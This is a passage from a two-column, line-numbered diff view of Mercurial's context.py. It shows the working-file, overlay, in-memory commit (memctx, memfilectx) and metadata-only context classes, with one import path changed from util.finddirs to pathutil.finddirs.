2007 2007 super(workingfilectx, self).__init__(repo, path, filelog, workingctx)
2008 2008
2009 2009 @propertycache
2010 2010 def _changectx(self):
2011 2011 return workingctx(self._repo)
2012 2012
2013 2013 def data(self):
2014 2014 return self._repo.wread(self._path)
2015 2015
2016 2016 def copysource(self):
2017 2017 return self._repo.dirstate.copied(self._path)
2018 2018
2019 2019 def size(self):
2020 2020 return self._repo.wvfs.lstat(self._path).st_size
2021 2021
2022 2022 def lstat(self):
2023 2023 return self._repo.wvfs.lstat(self._path)
2024 2024
2025 2025 def date(self):
2026 2026 t, tz = self._changectx.date()
2027 2027 try:
2028 2028 return (self._repo.wvfs.lstat(self._path)[stat.ST_MTIME], tz)
2029 2029 except OSError as err:
2030 2030 if err.errno != errno.ENOENT:
2031 2031 raise
2032 2032 return (t, tz)
2033 2033
2034 2034 def exists(self):
2035 2035 return self._repo.wvfs.exists(self._path)
2036 2036
2037 2037 def lexists(self):
2038 2038 return self._repo.wvfs.lexists(self._path)
2039 2039
2040 2040 def audit(self):
2041 2041 return self._repo.wvfs.audit(self._path)
2042 2042
2043 2043 def cmp(self, fctx):
2044 2044 """compare with other file context
2045 2045
2046 2046 returns True if different than fctx.
2047 2047 """
2048 2048 # fctx should be a filectx (not a workingfilectx)
2049 2049 # invert comparison to reuse the same code path
2050 2050 return fctx.cmp(self)
2051 2051
2052 2052 def remove(self, ignoremissing=False):
2053 2053 """wraps unlink for a repo's working directory"""
2054 2054 rmdir = self._repo.ui.configbool(b'experimental', b'removeemptydirs')
2055 2055 self._repo.wvfs.unlinkpath(
2056 2056 self._path, ignoremissing=ignoremissing, rmdir=rmdir
2057 2057 )
2058 2058
2059 2059 def write(self, data, flags, backgroundclose=False, **kwargs):
2060 2060 """wraps repo.wwrite"""
2061 2061 return self._repo.wwrite(
2062 2062 self._path, data, flags, backgroundclose=backgroundclose, **kwargs
2063 2063 )
2064 2064
2065 2065 def markcopied(self, src):
2066 2066 """marks this file a copy of `src`"""
2067 2067 self._repo.dirstate.copy(src, self._path)
2068 2068
2069 2069 def clearunknown(self):
2070 2070 """Removes conflicting items in the working directory so that
2071 2071 ``write()`` can be called successfully.
2072 2072 """
2073 2073 wvfs = self._repo.wvfs
2074 2074 f = self._path
2075 2075 wvfs.audit(f)
2076 2076 if self._repo.ui.configbool(
2077 2077 b'experimental', b'merge.checkpathconflicts'
2078 2078 ):
2079 2079 # remove files under the directory as they should already be
2080 2080 # warned and backed up
2081 2081 if wvfs.isdir(f) and not wvfs.islink(f):
2082 2082 wvfs.rmtree(f, forcibly=True)
2083 for p in reversed(list(util.finddirs(f))):
2083 for p in reversed(list(pathutil.finddirs(f))):
2084 2084 if wvfs.isfileorlink(p):
2085 2085 wvfs.unlink(p)
2086 2086 break
2087 2087 else:
2088 2088 # don't remove files if path conflicts are not processed
2089 2089 if wvfs.isdir(f) and not wvfs.islink(f):
2090 2090 wvfs.removedirs(f)
2091 2091
2092 2092 def setflags(self, l, x):
2093 2093 self._repo.wvfs.setflags(self._path, l, x)
2094 2094
2095 2095
2096 2096 class overlayworkingctx(committablectx):
2097 2097 """Wraps another mutable context with a write-back cache that can be
2098 2098 converted into a commit context.
2099 2099
2100 2100 self._cache[path] maps to a dict with keys: {
2101 2101 'exists': bool?
2102 2102 'date': date?
2103 2103 'data': str?
2104 2104 'flags': str?
2105 2105 'copied': str? (path or None)
2106 2106 }
2107 2107 If `exists` is True, `flags` must be non-None and 'date' is non-None. If it
2108 2108 is `False`, the file was deleted.
2109 2109 """
2110 2110
2111 2111 def __init__(self, repo):
2112 2112 super(overlayworkingctx, self).__init__(repo)
2113 2113 self.clean()
2114 2114
2115 2115 def setbase(self, wrappedctx):
2116 2116 self._wrappedctx = wrappedctx
2117 2117 self._parents = [wrappedctx]
2118 2118 # Drop old manifest cache as it is now out of date.
2119 2119 # This is necessary when, e.g., rebasing several nodes with one
2120 2120 # ``overlayworkingctx`` (e.g. with --collapse).
2121 2121 util.clearcachedproperty(self, b'_manifest')
2122 2122
2123 2123 def data(self, path):
2124 2124 if self.isdirty(path):
2125 2125 if self._cache[path][b'exists']:
2126 2126 if self._cache[path][b'data'] is not None:
2127 2127 return self._cache[path][b'data']
2128 2128 else:
2129 2129 # Must fallback here, too, because we only set flags.
2130 2130 return self._wrappedctx[path].data()
2131 2131 else:
2132 2132 raise error.ProgrammingError(
2133 2133 b"No such file or directory: %s" % path
2134 2134 )
2135 2135 else:
2136 2136 return self._wrappedctx[path].data()
2137 2137
2138 2138 @propertycache
2139 2139 def _manifest(self):
2140 2140 parents = self.parents()
2141 2141 man = parents[0].manifest().copy()
2142 2142
2143 2143 flag = self._flagfunc
2144 2144 for path in self.added():
2145 2145 man[path] = addednodeid
2146 2146 man.setflag(path, flag(path))
2147 2147 for path in self.modified():
2148 2148 man[path] = modifiednodeid
2149 2149 man.setflag(path, flag(path))
2150 2150 for path in self.removed():
2151 2151 del man[path]
2152 2152 return man
2153 2153
2154 2154 @propertycache
2155 2155 def _flagfunc(self):
2156 2156 def f(path):
2157 2157 return self._cache[path][b'flags']
2158 2158
2159 2159 return f
2160 2160
2161 2161 def files(self):
2162 2162 return sorted(self.added() + self.modified() + self.removed())
2163 2163
2164 2164 def modified(self):
2165 2165 return [
2166 2166 f
2167 2167 for f in self._cache.keys()
2168 2168 if self._cache[f][b'exists'] and self._existsinparent(f)
2169 2169 ]
2170 2170
2171 2171 def added(self):
2172 2172 return [
2173 2173 f
2174 2174 for f in self._cache.keys()
2175 2175 if self._cache[f][b'exists'] and not self._existsinparent(f)
2176 2176 ]
2177 2177
2178 2178 def removed(self):
2179 2179 return [
2180 2180 f
2181 2181 for f in self._cache.keys()
2182 2182 if not self._cache[f][b'exists'] and self._existsinparent(f)
2183 2183 ]
2184 2184
2185 2185 def p1copies(self):
2186 2186 copies = self._repo._wrappedctx.p1copies().copy()
2187 2187 narrowmatch = self._repo.narrowmatch()
2188 2188 for f in self._cache.keys():
2189 2189 if not narrowmatch(f):
2190 2190 continue
2191 2191 copies.pop(f, None) # delete if it exists
2192 2192 source = self._cache[f][b'copied']
2193 2193 if source:
2194 2194 copies[f] = source
2195 2195 return copies
2196 2196
2197 2197 def p2copies(self):
2198 2198 copies = self._repo._wrappedctx.p2copies().copy()
2199 2199 narrowmatch = self._repo.narrowmatch()
2200 2200 for f in self._cache.keys():
2201 2201 if not narrowmatch(f):
2202 2202 continue
2203 2203 copies.pop(f, None) # delete if it exists
2204 2204 source = self._cache[f][b'copied']
2205 2205 if source:
2206 2206 copies[f] = source
2207 2207 return copies
2208 2208
2209 2209 def isinmemory(self):
2210 2210 return True
2211 2211
2212 2212 def filedate(self, path):
2213 2213 if self.isdirty(path):
2214 2214 return self._cache[path][b'date']
2215 2215 else:
2216 2216 return self._wrappedctx[path].date()
2217 2217
2218 2218 def markcopied(self, path, origin):
2219 2219 self._markdirty(
2220 2220 path,
2221 2221 exists=True,
2222 2222 date=self.filedate(path),
2223 2223 flags=self.flags(path),
2224 2224 copied=origin,
2225 2225 )
2226 2226
2227 2227 def copydata(self, path):
2228 2228 if self.isdirty(path):
2229 2229 return self._cache[path][b'copied']
2230 2230 else:
2231 2231 return None
2232 2232
2233 2233 def flags(self, path):
2234 2234 if self.isdirty(path):
2235 2235 if self._cache[path][b'exists']:
2236 2236 return self._cache[path][b'flags']
2237 2237 else:
2238 2238 raise error.ProgrammingError(
2239 2239 b"No such file or directory: %s" % self._path
2240 2240 )
2241 2241 else:
2242 2242 return self._wrappedctx[path].flags()
2243 2243
2244 2244 def __contains__(self, key):
2245 2245 if key in self._cache:
2246 2246 return self._cache[key][b'exists']
2247 2247 return key in self.p1()
2248 2248
2249 2249 def _existsinparent(self, path):
2250 2250 try:
2251 2251 # ``commitctx` raises a ``ManifestLookupError`` if a path does not
2252 2252 # exist, unlike ``workingctx``, which returns a ``workingfilectx``
2253 2253 # with an ``exists()`` function.
2254 2254 self._wrappedctx[path]
2255 2255 return True
2256 2256 except error.ManifestLookupError:
2257 2257 return False
2258 2258
2259 2259 def _auditconflicts(self, path):
2260 2260 """Replicates conflict checks done by wvfs.write().
2261 2261
2262 2262 Since we never write to the filesystem and never call `applyupdates` in
2263 2263 IMM, we'll never check that a path is actually writable -- e.g., because
2264 2264 it adds `a/foo`, but `a` is actually a file in the other commit.
2265 2265 """
2266 2266
2267 2267 def fail(path, component):
2268 2268 # p1() is the base and we're receiving "writes" for p2()'s
2269 2269 # files.
2270 2270 if b'l' in self.p1()[component].flags():
2271 2271 raise error.Abort(
2272 2272 b"error: %s conflicts with symlink %s "
2273 2273 b"in %d." % (path, component, self.p1().rev())
2274 2274 )
2275 2275 else:
2276 2276 raise error.Abort(
2277 2277 b"error: '%s' conflicts with file '%s' in "
2278 2278 b"%d." % (path, component, self.p1().rev())
2279 2279 )
2280 2280
2281 2281 # Test that each new directory to be created to write this path from p2
2282 2282 # is not a file in p1.
2283 2283 components = path.split(b'/')
2284 2284 for i in pycompat.xrange(len(components)):
2285 2285 component = b"/".join(components[0:i])
2286 2286 if component in self:
2287 2287 fail(path, component)
2288 2288
2289 2289 # Test the other direction -- that this path from p2 isn't a directory
2290 2290 # in p1 (test that p1 doesn't have any paths matching `path/*`).
2291 2291 match = self.match([path], default=b'path')
2292 2292 matches = self.p1().manifest().matches(match)
2293 2293 mfiles = matches.keys()
2294 2294 if len(mfiles) > 0:
2295 2295 if len(mfiles) == 1 and mfiles[0] == path:
2296 2296 return
2297 2297 # omit the files which are deleted in current IMM wctx
2298 2298 mfiles = [m for m in mfiles if m in self]
2299 2299 if not mfiles:
2300 2300 return
2301 2301 raise error.Abort(
2302 2302 b"error: file '%s' cannot be written because "
2303 2303 b" '%s/' is a directory in %s (containing %d "
2304 2304 b"entries: %s)"
2305 2305 % (path, path, self.p1(), len(mfiles), b', '.join(mfiles))
2306 2306 )
2307 2307
2308 2308 def write(self, path, data, flags=b'', **kwargs):
2309 2309 if data is None:
2310 2310 raise error.ProgrammingError(b"data must be non-None")
2311 2311 self._auditconflicts(path)
2312 2312 self._markdirty(
2313 2313 path, exists=True, data=data, date=dateutil.makedate(), flags=flags
2314 2314 )
2315 2315
2316 2316 def setflags(self, path, l, x):
2317 2317 flag = b''
2318 2318 if l:
2319 2319 flag = b'l'
2320 2320 elif x:
2321 2321 flag = b'x'
2322 2322 self._markdirty(path, exists=True, date=dateutil.makedate(), flags=flag)
2323 2323
2324 2324 def remove(self, path):
2325 2325 self._markdirty(path, exists=False)
2326 2326
2327 2327 def exists(self, path):
2328 2328 """exists behaves like `lexists`, but needs to follow symlinks and
2329 2329 return False if they are broken.
2330 2330 """
2331 2331 if self.isdirty(path):
2332 2332 # If this path exists and is a symlink, "follow" it by calling
2333 2333 # exists on the destination path.
2334 2334 if (
2335 2335 self._cache[path][b'exists']
2336 2336 and b'l' in self._cache[path][b'flags']
2337 2337 ):
2338 2338 return self.exists(self._cache[path][b'data'].strip())
2339 2339 else:
2340 2340 return self._cache[path][b'exists']
2341 2341
2342 2342 return self._existsinparent(path)
2343 2343
2344 2344 def lexists(self, path):
2345 2345 """lexists returns True if the path exists"""
2346 2346 if self.isdirty(path):
2347 2347 return self._cache[path][b'exists']
2348 2348
2349 2349 return self._existsinparent(path)
2350 2350
2351 2351 def size(self, path):
2352 2352 if self.isdirty(path):
2353 2353 if self._cache[path][b'exists']:
2354 2354 return len(self._cache[path][b'data'])
2355 2355 else:
2356 2356 raise error.ProgrammingError(
2357 2357 b"No such file or directory: %s" % self._path
2358 2358 )
2359 2359 return self._wrappedctx[path].size()
2360 2360
2361 2361 def tomemctx(
2362 2362 self,
2363 2363 text,
2364 2364 branch=None,
2365 2365 extra=None,
2366 2366 date=None,
2367 2367 parents=None,
2368 2368 user=None,
2369 2369 editor=None,
2370 2370 ):
2371 2371 """Converts this ``overlayworkingctx`` into a ``memctx`` ready to be
2372 2372 committed.
2373 2373
2374 2374 ``text`` is the commit message.
2375 2375 ``parents`` (optional) are rev numbers.
2376 2376 """
2377 2377 # Default parents to the wrapped contexts' if not passed.
2378 2378 if parents is None:
2379 2379 parents = self._wrappedctx.parents()
2380 2380 if len(parents) == 1:
2381 2381 parents = (parents[0], None)
2382 2382
2383 2383 # ``parents`` is passed as rev numbers; convert to ``commitctxs``.
2384 2384 if parents[1] is None:
2385 2385 parents = (self._repo[parents[0]], None)
2386 2386 else:
2387 2387 parents = (self._repo[parents[0]], self._repo[parents[1]])
2388 2388
2389 2389 files = self.files()
2390 2390
2391 2391 def getfile(repo, memctx, path):
2392 2392 if self._cache[path][b'exists']:
2393 2393 return memfilectx(
2394 2394 repo,
2395 2395 memctx,
2396 2396 path,
2397 2397 self._cache[path][b'data'],
2398 2398 b'l' in self._cache[path][b'flags'],
2399 2399 b'x' in self._cache[path][b'flags'],
2400 2400 self._cache[path][b'copied'],
2401 2401 )
2402 2402 else:
2403 2403 # Returning None, but including the path in `files`, is
2404 2404 # necessary for memctx to register a deletion.
2405 2405 return None
2406 2406
2407 2407 return memctx(
2408 2408 self._repo,
2409 2409 parents,
2410 2410 text,
2411 2411 files,
2412 2412 getfile,
2413 2413 date=date,
2414 2414 extra=extra,
2415 2415 user=user,
2416 2416 branch=branch,
2417 2417 editor=editor,
2418 2418 )
2419 2419
2420 2420 def isdirty(self, path):
2421 2421 return path in self._cache
2422 2422
2423 2423 def isempty(self):
2424 2424 # We need to discard any keys that are actually clean before the empty
2425 2425 # commit check.
2426 2426 self._compact()
2427 2427 return len(self._cache) == 0
2428 2428
2429 2429 def clean(self):
2430 2430 self._cache = {}
2431 2431
2432 2432 def _compact(self):
2433 2433 """Removes keys from the cache that are actually clean, by comparing
2434 2434 them with the underlying context.
2435 2435
2436 2436 This can occur during the merge process, e.g. by passing --tool :local
2437 2437 to resolve a conflict.
2438 2438 """
2439 2439 keys = []
2440 2440 # This won't be perfect, but can help performance significantly when
2441 2441 # using things like remotefilelog.
2442 2442 scmutil.prefetchfiles(
2443 2443 self.repo(),
2444 2444 [self.p1().rev()],
2445 2445 scmutil.matchfiles(self.repo(), self._cache.keys()),
2446 2446 )
2447 2447
2448 2448 for path in self._cache.keys():
2449 2449 cache = self._cache[path]
2450 2450 try:
2451 2451 underlying = self._wrappedctx[path]
2452 2452 if (
2453 2453 underlying.data() == cache[b'data']
2454 2454 and underlying.flags() == cache[b'flags']
2455 2455 ):
2456 2456 keys.append(path)
2457 2457 except error.ManifestLookupError:
2458 2458 # Path not in the underlying manifest (created).
2459 2459 continue
2460 2460
2461 2461 for path in keys:
2462 2462 del self._cache[path]
2463 2463 return keys
2464 2464
2465 2465 def _markdirty(
2466 2466 self, path, exists, data=None, date=None, flags=b'', copied=None
2467 2467 ):
2468 2468 # data not provided, let's see if we already have some; if not, let's
2469 2469 # grab it from our underlying context, so that we always have data if
2470 2470 # the file is marked as existing.
2471 2471 if exists and data is None:
2472 2472 oldentry = self._cache.get(path) or {}
2473 2473 data = oldentry.get(b'data')
2474 2474 if data is None:
2475 2475 data = self._wrappedctx[path].data()
2476 2476
2477 2477 self._cache[path] = {
2478 2478 b'exists': exists,
2479 2479 b'data': data,
2480 2480 b'date': date,
2481 2481 b'flags': flags,
2482 2482 b'copied': copied,
2483 2483 }
2484 2484
2485 2485 def filectx(self, path, filelog=None):
2486 2486 return overlayworkingfilectx(
2487 2487 self._repo, path, parent=self, filelog=filelog
2488 2488 )
2489 2489
2490 2490
2491 2491 class overlayworkingfilectx(committablefilectx):
2492 2492 """Wrap a ``workingfilectx`` but intercepts all writes into an in-memory
2493 2493 cache, which can be flushed through later by calling ``flush()``."""
2494 2494
2495 2495 def __init__(self, repo, path, filelog=None, parent=None):
2496 2496 super(overlayworkingfilectx, self).__init__(repo, path, filelog, parent)
2497 2497 self._repo = repo
2498 2498 self._parent = parent
2499 2499 self._path = path
2500 2500
2501 2501 def cmp(self, fctx):
2502 2502 return self.data() != fctx.data()
2503 2503
2504 2504 def changectx(self):
2505 2505 return self._parent
2506 2506
2507 2507 def data(self):
2508 2508 return self._parent.data(self._path)
2509 2509
2510 2510 def date(self):
2511 2511 return self._parent.filedate(self._path)
2512 2512
2513 2513 def exists(self):
2514 2514 return self.lexists()
2515 2515
2516 2516 def lexists(self):
2517 2517 return self._parent.exists(self._path)
2518 2518
2519 2519 def copysource(self):
2520 2520 return self._parent.copydata(self._path)
2521 2521
2522 2522 def size(self):
2523 2523 return self._parent.size(self._path)
2524 2524
2525 2525 def markcopied(self, origin):
2526 2526 self._parent.markcopied(self._path, origin)
2527 2527
2528 2528 def audit(self):
2529 2529 pass
2530 2530
2531 2531 def flags(self):
2532 2532 return self._parent.flags(self._path)
2533 2533
2534 2534 def setflags(self, islink, isexec):
2535 2535 return self._parent.setflags(self._path, islink, isexec)
2536 2536
2537 2537 def write(self, data, flags, backgroundclose=False, **kwargs):
2538 2538 return self._parent.write(self._path, data, flags, **kwargs)
2539 2539
2540 2540 def remove(self, ignoremissing=False):
2541 2541 return self._parent.remove(self._path)
2542 2542
2543 2543 def clearunknown(self):
2544 2544 pass
2545 2545
2546 2546
2547 2547 class workingcommitctx(workingctx):
2548 2548 """A workingcommitctx object makes access to data related to
2549 2549 the revision being committed convenient.
2550 2550
2551 2551 This hides changes in the working directory, if they aren't
2552 2552 committed in this context.
2553 2553 """
2554 2554
2555 2555 def __init__(
2556 2556 self, repo, changes, text=b"", user=None, date=None, extra=None
2557 2557 ):
2558 2558 super(workingcommitctx, self).__init__(
2559 2559 repo, text, user, date, extra, changes
2560 2560 )
2561 2561
2562 2562 def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
2563 2563 """Return matched files only in ``self._status``
2564 2564
2565 2565 Uncommitted files appear "clean" via this context, even if
2566 2566 they aren't actually so in the working directory.
2567 2567 """
2568 2568 if clean:
2569 2569 clean = [f for f in self._manifest if f not in self._changedset]
2570 2570 else:
2571 2571 clean = []
2572 2572 return scmutil.status(
2573 2573 [f for f in self._status.modified if match(f)],
2574 2574 [f for f in self._status.added if match(f)],
2575 2575 [f for f in self._status.removed if match(f)],
2576 2576 [],
2577 2577 [],
2578 2578 [],
2579 2579 clean,
2580 2580 )
2581 2581
2582 2582 @propertycache
2583 2583 def _changedset(self):
2584 2584 """Return the set of files changed in this context
2585 2585 """
2586 2586 changed = set(self._status.modified)
2587 2587 changed.update(self._status.added)
2588 2588 changed.update(self._status.removed)
2589 2589 return changed
2590 2590
2591 2591
2592 2592 def makecachingfilectxfn(func):
2593 2593 """Create a filectxfn that caches based on the path.
2594 2594
2595 2595 We can't use util.cachefunc because it uses all arguments as the cache
2596 2596 key and this creates a cycle since the arguments include the repo and
2597 2597 memctx.
2598 2598 """
2599 2599 cache = {}
2600 2600
2601 2601 def getfilectx(repo, memctx, path):
2602 2602 if path not in cache:
2603 2603 cache[path] = func(repo, memctx, path)
2604 2604 return cache[path]
2605 2605
2606 2606 return getfilectx
2607 2607
2608 2608
2609 2609 def memfilefromctx(ctx):
2610 2610 """Given a context return a memfilectx for ctx[path]
2611 2611
2612 2612 This is a convenience method for building a memctx based on another
2613 2613 context.
2614 2614 """
2615 2615
2616 2616 def getfilectx(repo, memctx, path):
2617 2617 fctx = ctx[path]
2618 2618 copysource = fctx.copysource()
2619 2619 return memfilectx(
2620 2620 repo,
2621 2621 memctx,
2622 2622 path,
2623 2623 fctx.data(),
2624 2624 islink=fctx.islink(),
2625 2625 isexec=fctx.isexec(),
2626 2626 copysource=copysource,
2627 2627 )
2628 2628
2629 2629 return getfilectx
2630 2630
2631 2631
2632 2632 def memfilefrompatch(patchstore):
2633 2633 """Given a patch (e.g. patchstore object) return a memfilectx
2634 2634
2635 2635 This is a convenience method for building a memctx based on a patchstore.
2636 2636 """
2637 2637
2638 2638 def getfilectx(repo, memctx, path):
2639 2639 data, mode, copysource = patchstore.getfile(path)
2640 2640 if data is None:
2641 2641 return None
2642 2642 islink, isexec = mode
2643 2643 return memfilectx(
2644 2644 repo,
2645 2645 memctx,
2646 2646 path,
2647 2647 data,
2648 2648 islink=islink,
2649 2649 isexec=isexec,
2650 2650 copysource=copysource,
2651 2651 )
2652 2652
2653 2653 return getfilectx
2654 2654
2655 2655
2656 2656 class memctx(committablectx):
2657 2657 """Use memctx to perform in-memory commits via localrepo.commitctx().
2658 2658
2659 2659 Revision information is supplied at initialization time while
2660 2660 related files data and is made available through a callback
2661 2661 mechanism. 'repo' is the current localrepo, 'parents' is a
2662 2662 sequence of two parent revisions identifiers (pass None for every
2663 2663 missing parent), 'text' is the commit message and 'files' lists
2664 2664 names of files touched by the revision (normalized and relative to
2665 2665 repository root).
2666 2666
2667 2667 filectxfn(repo, memctx, path) is a callable receiving the
2668 2668 repository, the current memctx object and the normalized path of
2669 2669 requested file, relative to repository root. It is fired by the
2670 2670 commit function for every file in 'files', but calls order is
2671 2671 undefined. If the file is available in the revision being
2672 2672 committed (updated or added), filectxfn returns a memfilectx
2673 2673 object. If the file was removed, filectxfn return None for recent
2674 2674 Mercurial. Moved files are represented by marking the source file
2675 2675 removed and the new file added with copy information (see
2676 2676 memfilectx).
2677 2677
2678 2678 user receives the committer name and defaults to current
2679 2679 repository username, date is the commit date in any format
2680 2680 supported by dateutil.parsedate() and defaults to current date, extra
2681 2681 is a dictionary of metadata or is left empty.
2682 2682 """
2683 2683
2684 2684 # Mercurial <= 3.1 expects the filectxfn to raise IOError for missing files.
2685 2685 # Extensions that need to retain compatibility across Mercurial 3.1 can use
2686 2686 # this field to determine what to do in filectxfn.
2687 2687 _returnnoneformissingfiles = True
2688 2688
2689 2689 def __init__(
2690 2690 self,
2691 2691 repo,
2692 2692 parents,
2693 2693 text,
2694 2694 files,
2695 2695 filectxfn,
2696 2696 user=None,
2697 2697 date=None,
2698 2698 extra=None,
2699 2699 branch=None,
2700 2700 editor=False,
2701 2701 ):
2702 2702 super(memctx, self).__init__(
2703 2703 repo, text, user, date, extra, branch=branch
2704 2704 )
2705 2705 self._rev = None
2706 2706 self._node = None
2707 2707 parents = [(p or nullid) for p in parents]
2708 2708 p1, p2 = parents
2709 2709 self._parents = [self._repo[p] for p in (p1, p2)]
2710 2710 files = sorted(set(files))
2711 2711 self._files = files
2712 2712 self.substate = {}
2713 2713
2714 2714 if isinstance(filectxfn, patch.filestore):
2715 2715 filectxfn = memfilefrompatch(filectxfn)
2716 2716 elif not callable(filectxfn):
2717 2717 # if store is not callable, wrap it in a function
2718 2718 filectxfn = memfilefromctx(filectxfn)
2719 2719
2720 2720 # memoizing increases performance for e.g. vcs convert scenarios.
2721 2721 self._filectxfn = makecachingfilectxfn(filectxfn)
2722 2722
2723 2723 if editor:
2724 2724 self._text = editor(self._repo, self, [])
2725 2725 self._repo.savecommitmessage(self._text)
2726 2726
2727 2727 def filectx(self, path, filelog=None):
2728 2728 """get a file context from the working directory
2729 2729
2730 2730 Returns None if file doesn't exist and should be removed."""
2731 2731 return self._filectxfn(self._repo, self, path)
2732 2732
2733 2733 def commit(self):
2734 2734 """commit context to the repo"""
2735 2735 return self._repo.commitctx(self)
2736 2736
2737 2737 @propertycache
2738 2738 def _manifest(self):
2739 2739 """generate a manifest based on the return values of filectxfn"""
2740 2740
2741 2741 # keep this simple for now; just worry about p1
2742 2742 pctx = self._parents[0]
2743 2743 man = pctx.manifest().copy()
2744 2744
2745 2745 for f in self._status.modified:
2746 2746 man[f] = modifiednodeid
2747 2747
2748 2748 for f in self._status.added:
2749 2749 man[f] = addednodeid
2750 2750
2751 2751 for f in self._status.removed:
2752 2752 if f in man:
2753 2753 del man[f]
2754 2754
2755 2755 return man
2756 2756
2757 2757 @propertycache
2758 2758 def _status(self):
2759 2759 """Calculate exact status from ``files`` specified at construction
2760 2760 """
2761 2761 man1 = self.p1().manifest()
2762 2762 p2 = self._parents[1]
2763 2763 # "1 < len(self._parents)" can't be used for checking
2764 2764 # existence of the 2nd parent, because "memctx._parents" is
2765 2765 # explicitly initialized by the list, of which length is 2.
2766 2766 if p2.node() != nullid:
2767 2767 man2 = p2.manifest()
2768 2768 managing = lambda f: f in man1 or f in man2
2769 2769 else:
2770 2770 managing = lambda f: f in man1
2771 2771
2772 2772 modified, added, removed = [], [], []
2773 2773 for f in self._files:
2774 2774 if not managing(f):
2775 2775 added.append(f)
2776 2776 elif self[f]:
2777 2777 modified.append(f)
2778 2778 else:
2779 2779 removed.append(f)
2780 2780
2781 2781 return scmutil.status(modified, added, removed, [], [], [], [])
2782 2782
2783 2783
2784 2784 class memfilectx(committablefilectx):
2785 2785 """memfilectx represents an in-memory file to commit.
2786 2786
2787 2787 See memctx and committablefilectx for more details.
2788 2788 """
2789 2789
2790 2790 def __init__(
2791 2791 self,
2792 2792 repo,
2793 2793 changectx,
2794 2794 path,
2795 2795 data,
2796 2796 islink=False,
2797 2797 isexec=False,
2798 2798 copysource=None,
2799 2799 ):
2800 2800 """
2801 2801 path is the normalized file path relative to repository root.
2802 2802 data is the file content as a string.
2803 2803 islink is True if the file is a symbolic link.
2804 2804 isexec is True if the file is executable.
2805 2805 copied is the source file path if current file was copied in the
2806 2806 revision being committed, or None."""
2807 2807 super(memfilectx, self).__init__(repo, path, None, changectx)
2808 2808 self._data = data
2809 2809 if islink:
2810 2810 self._flags = b'l'
2811 2811 elif isexec:
2812 2812 self._flags = b'x'
2813 2813 else:
2814 2814 self._flags = b''
2815 2815 self._copysource = copysource
2816 2816
2817 2817 def copysource(self):
2818 2818 return self._copysource
2819 2819
2820 2820 def cmp(self, fctx):
2821 2821 return self.data() != fctx.data()
2822 2822
2823 2823 def data(self):
2824 2824 return self._data
2825 2825
2826 2826 def remove(self, ignoremissing=False):
2827 2827 """wraps unlink for a repo's working directory"""
2828 2828 # need to figure out what to do here
2829 2829 del self._changectx[self._path]
2830 2830
2831 2831 def write(self, data, flags, **kwargs):
2832 2832 """wraps repo.wwrite"""
2833 2833 self._data = data
2834 2834
2835 2835
2836 2836 class metadataonlyctx(committablectx):
2837 2837 """Like memctx but it's reusing the manifest of different commit.
2838 2838 Intended to be used by lightweight operations that are creating
2839 2839 metadata-only changes.
2840 2840
2841 2841 Revision information is supplied at initialization time. 'repo' is the
2842 2842 current localrepo, 'ctx' is original revision which manifest we're reuisng
2843 2843 'parents' is a sequence of two parent revisions identifiers (pass None for
2844 2844 every missing parent), 'text' is the commit.
2845 2845
2846 2846 user receives the committer name and defaults to current repository
2847 2847 username, date is the commit date in any format supported by
2848 2848 dateutil.parsedate() and defaults to current date, extra is a dictionary of
2849 2849 metadata or is left empty.
2850 2850 """
2851 2851
2852 2852 def __init__(
2853 2853 self,
2854 2854 repo,
2855 2855 originalctx,
2856 2856 parents=None,
2857 2857 text=None,
2858 2858 user=None,
2859 2859 date=None,
2860 2860 extra=None,
2861 2861 editor=False,
2862 2862 ):
2863 2863 if text is None:
2864 2864 text = originalctx.description()
2865 2865 super(metadataonlyctx, self).__init__(repo, text, user, date, extra)
2866 2866 self._rev = None
2867 2867 self._node = None
2868 2868 self._originalctx = originalctx
2869 2869 self._manifestnode = originalctx.manifestnode()
2870 2870 if parents is None:
2871 2871 parents = originalctx.parents()
2872 2872 else:
2873 2873 parents = [repo[p] for p in parents if p is not None]
2874 2874 parents = parents[:]
2875 2875 while len(parents) < 2:
2876 2876 parents.append(repo[nullid])
2877 2877 p1, p2 = self._parents = parents
2878 2878
2879 2879 # sanity check to ensure that the reused manifest parents are
2880 2880 # manifests of our commit parents
2881 2881 mp1, mp2 = self.manifestctx().parents
2882 2882 if p1 != nullid and p1.manifestnode() != mp1:
2883 2883 raise RuntimeError(
2884 2884 r"can't reuse the manifest: its p1 "
2885 2885 r"doesn't match the new ctx p1"
2886 2886 )
2887 2887 if p2 != nullid and p2.manifestnode() != mp2:
2888 2888 raise RuntimeError(
2889 2889 r"can't reuse the manifest: "
2890 2890 r"its p2 doesn't match the new ctx p2"
2891 2891 )
2892 2892
2893 2893 self._files = originalctx.files()
2894 2894 self.substate = {}
2895 2895
2896 2896 if editor:
2897 2897 self._text = editor(self._repo, self, [])
2898 2898 self._repo.savecommitmessage(self._text)
2899 2899
2900 2900 def manifestnode(self):
2901 2901 return self._manifestnode
2902 2902
2903 2903 @property
2904 2904 def _manifestctx(self):
2905 2905 return self._repo.manifestlog[self._manifestnode]
2906 2906
2907 2907 def filectx(self, path, filelog=None):
2908 2908 return self._originalctx.filectx(path, filelog=filelog)
2909 2909
2910 2910 def commit(self):
2911 2911 """commit context to the repo"""
2912 2912 return self._repo.commitctx(self)
2913 2913
2914 2914 @property
2915 2915 def _manifest(self):
2916 2916 return self._originalctx.manifest()
2917 2917
2918 2918 @propertycache
2919 2919 def _status(self):
2920 2920 """Calculate exact status from ``files`` specified in the ``origctx``
2921 2921 and parents manifests.
2922 2922 """
2923 2923 man1 = self.p1().manifest()
2924 2924 p2 = self._parents[1]
2925 2925 # "1 < len(self._parents)" can't be used for checking
2926 2926 # existence of the 2nd parent, because "metadataonlyctx._parents" is
2927 2927 # explicitly initialized by the list, of which length is 2.
2928 2928 if p2.node() != nullid:
2929 2929 man2 = p2.manifest()
2930 2930 managing = lambda f: f in man1 or f in man2
2931 2931 else:
2932 2932 managing = lambda f: f in man1
2933 2933
2934 2934 modified, added, removed = [], [], []
2935 2935 for f in self._files:
2936 2936 if not managing(f):
2937 2937 added.append(f)
2938 2938 elif f in self:
2939 2939 modified.append(f)
2940 2940 else:
2941 2941 removed.append(f)
2942 2942
2943 2943 return scmutil.status(modified, added, removed, [], [], [], [])
2944 2944
2945 2945
2946 2946 class arbitraryfilectx(object):
2947 2947 """Allows you to use filectx-like functions on a file in an arbitrary
2948 2948 location on disk, possibly not in the working directory.
2949 2949 """
2950 2950
2951 2951 def __init__(self, path, repo=None):
2952 2952 # Repo is optional because contrib/simplemerge uses this class.
2953 2953 self._repo = repo
